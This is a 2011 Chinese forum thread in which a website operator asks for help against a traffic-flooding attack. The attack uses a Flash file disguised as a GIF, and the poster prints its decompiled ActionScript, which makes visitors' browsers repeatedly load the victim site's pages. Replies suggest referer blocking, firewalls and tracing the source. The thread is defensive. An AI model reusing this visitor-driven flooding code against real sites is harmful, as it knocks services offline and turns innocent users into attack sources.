rety2008
V2EX  ›  问与答

网站被人攻击了。方法很奇特

  •  
  •   rety2008 · Jan 8, 2011 · 8522 views
    This topic created in 5778 days ago, the information mentioned may be changed or developed.
    此人在某个流量比较高的网站挂了一个GIF图。

    打开后是红叉。

    我下载到本地。 发现是用SWF伪装成的GIF

    反编译后代码如下



    loadMovieNum ("http://bbs.xxx.com/space.php?uid=680064", 1115191);
    loadMovieNum ("http://www.xxx.com/home.php", 1115192);
    loadMovieNum ("http://home.xxx.com/space.php?uid=2185", 1115193);
    loadMovieNum ("http://www.xxx.com/group.php", 1115194);
    loadMovieNum ("http://bbs.xxx.com/archiver/index.php?tid-658710.html", 1115195);
    loadMovieNum ("http://bbs.xxx.com/task.php?action=apply&id=20", 1115196);
    loadMovieNum ("http://mp3.xxx.com/hot.php", 1115197);
    loadMovieNum ("http://home.xxx.com/index.php", 1115198);
    if (_root._url.indexOf("img.xxxxxxxx.com") == -1) {
    i = 1;
    while (i <= 1000000000000 , i++) {
    getURL ("http://www.taobao.com");
    }
    } else {
    play();
    }


    xxx.com 是我们的网站。。


    只要访客访问到他网站上的这个GIF图。就会不停的读取我们网站的数据。导致各频道频繁卡死。

    各位有办法么
    19 replies  •  1970-01-01 08:00:00 +08:00
    shellex
    shellex
    Jan 8, 2011
    1
    从flash过来的请求,Referer是多少?还有SourceIP也可以看到
    rety2008
    rety2008
    OP
    Jan 8, 2011
    2
    IP比较多。。

    2分钟内就已经屏蔽了大概16000多IP了。

    基本都是QQ空间过来的。
    iugo
    iugo
    Jan 8, 2011
    3
    呵呵,有点意思。不知道你阻止来自该网站的页面请求可以不。
    predator
    predator
    Jan 8, 2011 via iPod
    4
    从log入手先把可疑的referer封了。
    simpx
    simpx
    Jan 8, 2011
    5
    把referer是那个比较高的网站的流量都禁止了。不知道这样可以么?刚搜到http://www.cnblogs.com/rialover/archive/2010/10/29/1864313.html
    这篇文章测试了一下通过swf访问get访问url,在有些浏览器中是可以获得正常referer的。
    rety2008
    rety2008
    OP
    Jan 8, 2011
    6
    目前解决办法是开启硬件防火墙。

    但是开启防火墙后

    QQ空间用户只要用了他网站上的这个FLASH做装饰的。

    就被当成攻击IP被屏蔽了

    现在已经屏蔽了几万个了。

    也就是很多QQ空间用户访问不了我们网站了
    Kymair
    Kymair
    Jan 8, 2011
    7
    可以报案么?
    rety2008
    rety2008
    OP
    Jan 8, 2011
    8
    看来只能报案了。
    shellex
    shellex
    Jan 8, 2011
    9
    呵呵...app level的ddos,霸道无比。话说,既然是“用了他网站上的这个FLASH做装饰”,那直接溯源到“他网站”就好了。
    9hills
    9hills
    Jan 8, 2011
    10
    这个很厉害
    GordianZ
    GordianZ
    Jan 9, 2011
    11
    就是cc攻击。要防的话就如#4 #5所说,ban referer可以从一定程度上解决,而且不会出现硬防IP导致QQ空间用户不能访问的结果。
    rety2008
    rety2008
    OP
    Jan 9, 2011
    12
    谢谢各位。事情已经得以解决。

    找到源头后。联系了该网站的管理员。

    经确认,是网站内部技术人员所为。 已经撤掉这段代码。
    rety2008
    rety2008
    OP
    Jan 9, 2011
    13
    现在有一个比较郁闷的事情。。

    就是他这个文件已经被很多用户的浏览器缓存。

    虽然服务器上已经去掉这个文件。 但攻击依然有一小部分存在。

    多数为用户缓存。 对方也在想办法, 如何设置才能把这些用户的缓存快速清理掉呢
    dc
    dc
    Jan 9, 2011
    14
    @rety2008 让对方在图片链接后加任意时间戳,客户端下次访问时会刷新的。类似:xxx.gif?123
    napoleonu
    napoleonu
    Jan 9, 2011
    15
    做doodle的人想秒掉哪个网站岂不是真的叫秒掉,我曾经幻想Google用此方法秒God Fucked Wall
    shellex
    shellex
    Jan 9, 2011
    16
    @napoleonu 确实是幻想。
    xman
    xman
    Jan 9, 2011
    17
    这是全部代码吗?
    summic
    summic
    Jan 9, 2011
    18
    @xman
    你要做什么?
    silver0511
    silver0511
    Jan 19, 2011
    19
    0 0
    About   ·   Help   ·   Advertise   ·   Blog   ·   API   ·   FAQ   ·   Privacy   ·   Solana   ·   4112 Online   Highest 6679   ·     Select Language
    创意工作者们的社区
    World is powered by solitude
    VERSION: 3.9.8.5 · 54ms · UTC 05:37 · PVG 13:37 · LAX 21:37 · JFK 00:37
    ♥ Do have faith in what you're doing.